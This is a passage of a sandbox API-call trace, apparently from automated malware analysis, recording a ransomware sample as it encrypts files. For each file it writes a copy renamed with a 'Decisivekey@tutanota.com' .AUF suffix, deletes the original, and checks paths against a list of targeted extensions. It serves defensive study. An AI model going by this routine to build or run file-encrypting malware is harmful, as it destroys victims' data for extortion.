dwMilliseconds=0x64) returned 0x102 [0224.893] GetTickCount () returned 0x45a4f [0224.893] GetTickCount () returned 0x45a4f [0224.893] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0225.332] GetTickCount () returned 0x45c04 [0225.332] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) Thread: id = 11 os_tid = 0x678 [0203.822] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.823] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.823] Wow64DisableWow64FsRedirection (in: OldValue=0x23dff58 | out: OldValue=0x23dff58*=0x0) returned 1 [0203.823] lstrlenW (lpString="kernel32.dll") returned 12 [0203.823] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.823] Sleep (dwMilliseconds=0x64) [0204.069] lstrcmpiW (lpString1=".ini", lpString2=".AUF") returned 1 [0204.069] lstrlenW (lpString="desktop.ini") returned 11 [0204.069] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.069] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=129) returned 1 [0204.069] CloseHandle (hObject=0x168) returned 1 [0204.069] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0204.069] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.069] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.069] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.069] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.070] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0204.122] GetLastError () returned 0x0 [0204.122] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x81, lpOverlapped=0x0) returned 1 [0204.134] WriteFile (in: hFile=0x174, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x90, lpOverlapped=0x0) returned 1 [0204.135] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.135] WriteFile (in: hFile=0x174, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0204.135] SetEndOfFile (hFile=0x174) returned 1 [0204.135] CloseHandle (hObject=0x174) returned 1 [0204.135] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.135] SetEndOfFile (hFile=0x168) returned 1 [0204.145] CloseHandle (hObject=0x168) returned 1 [0204.145] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x26) returned 1 [0204.145] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0204.145] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.145] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.145] lstrlenW (lpString=".doc") returned 4 [0204.145] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0204.145] lstrlenW (lpString=".docx") returned 5 [0204.145] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0204.145] lstrlenW (lpString=".pdf") returned 4 [0204.145] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0204.145] lstrlenW (lpString=".xls") returned 4 [0204.145] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0204.145] lstrlenW (lpString=".xlsx") returned 5 [0204.145] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0204.146] lstrlenW (lpString=".ppt") returned 4 [0204.146] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.146] lstrlenW (lpString=".zip") returned 4 [0204.146] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString=".rar") returned 4 [0204.146] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString=".bz2") returned 4 [0204.146] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0204.146] lstrlenW (lpString=".7z") returned 3 [0204.146] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.146] lstrlenW (lpString=".dbf") returned 4 [0204.146] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.146] lstrlenW (lpString=".1cd") returned 4 [0204.146] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.146] lstrlenW (lpString=".jpg") returned 4 [0204.146] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.146] lstrlenW (lpString=".doc") returned 4 [0204.146] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0204.146] lstrlenW (lpString=".docx") returned 5 [0204.146] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0204.146] lstrlenW (lpString=".pdf") returned 4 [0204.146] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString=".xls") returned 4 [0204.146] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString=".xlsx") returned 5 [0204.146] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0204.146] lstrlenW (lpString=".ppt") returned 4 [0204.146] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.146] lstrlenW (lpString=".zip") returned 4 [0204.146] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString=".rar") returned 4 [0204.146] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0204.146] lstrlenW (lpString=".bz2") returned 4 [0204.146] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0204.146] lstrlenW (lpString=".7z") returned 3 [0204.146] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.146] lstrlenW (lpString=".dbf") returned 4 [0204.146] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0204.146] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.147] lstrlenW (lpString=".1cd") returned 4 [0204.147] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0204.147] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0204.147] lstrlenW (lpString=".jpg") returned 4 [0204.147] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0204.147] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.147] lstrlenW (lpString="Setup.xml") returned 9 [0204.147] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.147] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1886) returned 1 [0204.147] CloseHandle (hObject=0x168) returned 1 [0204.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.147] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.147] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.147] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.147] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0204.148] GetLastError () returned 0x0 [0204.148] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x75e, lpOverlapped=0x0) returned 1 [0204.172] WriteFile (in: hFile=0x174, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x760, lpOverlapped=0x0) returned 1 [0204.173] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.173] WriteFile (in: hFile=0x174, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.173] SetEndOfFile (hFile=0x174) returned 1 [0204.173] CloseHandle (hObject=0x174) returned 1 [0204.174] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.174] SetEndOfFile (hFile=0x168) returned 1 [0204.175] CloseHandle (hObject=0x168) returned 1 [0204.175] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.175] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.175] lstrlenW (lpString=".doc") returned 4 [0204.175] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.175] lstrlenW (lpString=".docx") returned 5 [0204.175] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.175] lstrlenW (lpString=".pdf") returned 4 [0204.175] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.175] lstrlenW (lpString=".xls") returned 4 [0204.175] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.175] lstrlenW (lpString=".xlsx") returned 5 [0204.175] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.175] lstrlenW (lpString=".ppt") returned 4 [0204.175] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.175] lstrlenW (lpString=".zip") returned 4 [0204.175] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.175] lstrlenW (lpString=".rar") returned 4 [0204.175] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.175] lstrlenW (lpString=".bz2") returned 4 [0204.175] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.175] lstrlenW (lpString=".7z") returned 3 [0204.175] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.175] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.175] lstrlenW (lpString=".dbf") returned 4 [0204.176] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.176] lstrlenW (lpString=".1cd") returned 4 [0204.176] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.176] lstrlenW (lpString=".jpg") returned 4 [0204.176] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.176] lstrlenW (lpString=".doc") returned 4 [0204.176] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString=".docx") returned 5 [0204.176] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.176] lstrlenW (lpString=".pdf") returned 4 [0204.176] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString=".xls") returned 4 [0204.176] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString=".xlsx") returned 5 [0204.176] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.176] lstrlenW (lpString=".ppt") returned 4 [0204.176] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.176] lstrlenW (lpString=".zip") returned 4 [0204.176] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.176] lstrlenW (lpString=".rar") returned 4 [0204.176] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString=".bz2") returned 4 [0204.176] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString=".7z") returned 3 [0204.176] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.176] lstrlenW (lpString=".dbf") returned 4 [0204.176] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.176] lstrlenW (lpString=".1cd") returned 4 [0204.176] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.176] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.176] lstrlenW (lpString=".jpg") returned 4 [0204.176] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.176] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.176] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0204.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.177] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3186) returned 1 [0204.177] CloseHandle (hObject=0x168) returned 1 [0204.177] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0204.177] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.177] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.177] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.178] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.178] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0204.178] GetLastError () returned 0x0 [0204.178] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xc72, lpOverlapped=0x0) returned 1 [0204.197] WriteFile (in: hFile=0x174, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xc80, lpOverlapped=0x0) returned 1 [0204.198] ReadFile (in: hFile=0x168, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.198] WriteFile (in: hFile=0x174, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0204.198] SetEndOfFile (hFile=0x174) returned 1 [0204.198] CloseHandle (hObject=0x174) returned 1 [0204.201] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.201] SetEndOfFile (hFile=0x168) returned 1 [0204.202] CloseHandle (hObject=0x168) returned 1 [0204.202] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.202] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0204.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.202] lstrlenW (lpString=".doc") returned 4 [0204.202] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.202] lstrlenW (lpString=".docx") returned 5 [0204.202] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.202] lstrlenW (lpString=".pdf") returned 4 [0204.202] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.202] lstrlenW (lpString=".xls") returned 4 [0204.202] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.202] lstrlenW (lpString=".xlsx") returned 5 [0204.202] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.202] lstrlenW (lpString=".ppt") returned 4 [0204.202] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.202] lstrlenW (lpString=".zip") returned 4 [0204.202] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.202] lstrlenW (lpString=".rar") returned 4 [0204.202] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.202] lstrlenW (lpString=".bz2") returned 4 [0204.202] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.202] lstrlenW (lpString=".7z") returned 3 [0204.202] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString=".dbf") returned 4 [0204.203] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString=".1cd") returned 4 [0204.203] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString=".jpg") returned 4 [0204.203] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString=".doc") returned 4 [0204.203] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString=".docx") returned 5 [0204.203] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.203] lstrlenW (lpString=".pdf") returned 4 [0204.203] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString=".xls") returned 4 [0204.203] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString=".xlsx") returned 5 [0204.203] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.203] lstrlenW (lpString=".ppt") returned 4 [0204.203] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0204.203] lstrlenW (lpString=".zip") returned 4 [0204.203] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.203] lstrlenW (lpString=".rar") returned 4 [0204.203] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.203] lstrlenW (lpString=".bz2") returned 4 [0204.203] lstrcmpiW (lpString1=".bz2", 